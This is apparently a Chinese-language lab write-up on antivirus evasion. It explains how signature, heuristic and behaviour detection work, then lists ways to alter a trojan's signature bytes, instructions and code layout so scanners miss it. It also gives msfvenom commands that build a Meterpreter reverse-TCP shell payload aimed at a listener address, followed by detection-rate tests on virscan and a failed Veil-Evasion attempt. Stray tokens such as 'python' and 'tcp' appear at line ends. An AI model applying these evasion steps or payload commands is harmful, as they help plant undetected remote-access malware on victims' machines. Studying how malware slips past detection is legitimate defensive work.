一段特徵碼就是一段或多段數據。(若是一個可執行文件(或其餘運行的庫、腳本等)包含這樣的數據則被認爲是惡意代碼)殺毒軟件有本身專門的特徵碼庫,在檢測一個程序是不是惡意代碼時就看這個程序中的是否包含有特徵碼庫中的特徵碼,若是有就進行查殺。可是特徵碼庫並非老是能第一時間更新,若是出現了特徵碼庫中沒有的新特徵碼,那麼就沒法經過這種比對的方法進行查殺。python
這種方法的思想是爲病毒的特徵設定一個閾值,掃描器分析文件時,當文件的總權值超出了設定值,就將其看做是惡意代碼.這種方法主要的技術是要準確的定義相似病毒的特徵,這依靠準確的模擬處理器。評定基於宏病毒的影響更是一個挑戰,他們的結構和可能的執行流程比已經編譯過的可執行文件更難預測。shell
利用病毒的特有行爲特徵來監測病毒的方法,稱爲行爲監測法.經過對病毒多年的觀察、研究,有一些行爲是惡意代碼的共同行爲,並且比較特殊.當程序運行時,監視其行爲,若是發現了病毒行爲,當即報警.缺點是誤報率比較高、不能識別病毒名稱及類型、實現時有必定難度。windows
簡單來講一段特徵碼就是一段或多段數據。若是一個可執行文件(或其餘運行的庫、腳本等)包含這樣的數據則被認爲是惡意代碼。AV軟件廠商要作的就是儘可能蒐集最全的、最新的特徵碼庫。因此殺毒軟件的更新很重要。過期的特徵碼庫就是沒有用的庫。安全
基於簽名的檢測技術主要基於模式匹配的思想,爲每種已知惡意代碼產生一個惟一的簽名特徵標記來建立惡意代碼庫。這些簽名包括不少不一樣的屬性,如文件名、內容字符串或字節等,而且也從排除這些惡意代碼所產生安全漏洞的角度來探討保護系統安全。將未知代碼的簽名特徵與惡意代碼庫進行對比,搜索惡意代碼庫查找時候存在相匹配的惡意代碼簽名,如有吻合,則斷定爲惡意代碼;反之則判斷爲正常代碼。這些簽名有專家手工找出或經過自動方法生成,一個簽名唄提取出來以標誌一個特定惡意代碼的特徵性質。網絡
就是經過針對殺毒軟件查殺惡意代碼的原理,將惡意代碼進行修改和包裝,反過來使得惡意代碼可以不被殺毒軟件所檢測和查殺,更好地植入到被攻擊的主機中進行一些非法的操做。tcp
修改方法:把特徵碼所對應的十六進制改爲數字差1或差很少的十六進制.
適用範圍:必定要精肯定位特徵碼所對應的十六進制,修改後必定要測試一下能
否正常使用.測試
修改方法:把特徵碼所對應的內容是字符串的,只要把大小字互換一下就能夠了.
適用範圍:特徵碼所對應的內容必需是字符串,不然不能成功..net
修改方法:把特徵碼所對應的彙編指令命令中替換成功能類擬的指令.
適用範圍:特徵碼中必需有能夠替換的彙編指令.好比JN,JNE 換成JMP等.3d
修改方法:把具備特徵碼的代碼順序互換一下.
適用範圍:具備必定的侷限性,代碼互換後要不能影響程序的正常執行code
修改方法:把特徵碼移到零區域(指代碼的空隙處),而後一個JMP又跳回來執行.
適用範圍:沒有什麼條件,是通用的改法,強烈建議你們要掌握這種改法.
1.加冷門殼
2.加花指令
3.改程序入口點
4.改木馬文件特徵碼的5種經常使用方法
5.還有其它的幾種免殺修改技巧
使用Linux攻擊機kali,其IP用msfvenom直接生成meterpreter可執行文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.140 LPORT=443 -f exe > Rebrust-2.exe
在主文件夾中找到生成的文件,複製:
將文件拷到桌面運行,發現被360安全衛士檢測:
關閉防火牆容許該文件,將文件傳至:www.virscan.org
進行檢測,檢測結果以下:
掃描結果:45%的殺軟(18/40)報告發現病毒.
能夠看到百度殺毒、金山毒霸等是能夠檢測到的。
按照Veil-Evasion下載安裝教程進行下載安裝:
安裝成功:
咱們在Veil-Evasion目錄下,執行命令 python Veil-Evasion.py
輸入list能夠查看到有51個模塊:
在kali下輸入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.140 LPORT=443 -f c
將生成的代碼複製到一個新建的文件夾9205.c下,加上頭文件進行編譯:
能夠看到生成的a.out文件:
將a.out文件複製出來至:www.virscan.org
進行檢測:
在用Veil-Evasion生成可執行文件,嘗試了多個模塊最終失敗,沒有生成可執行文件: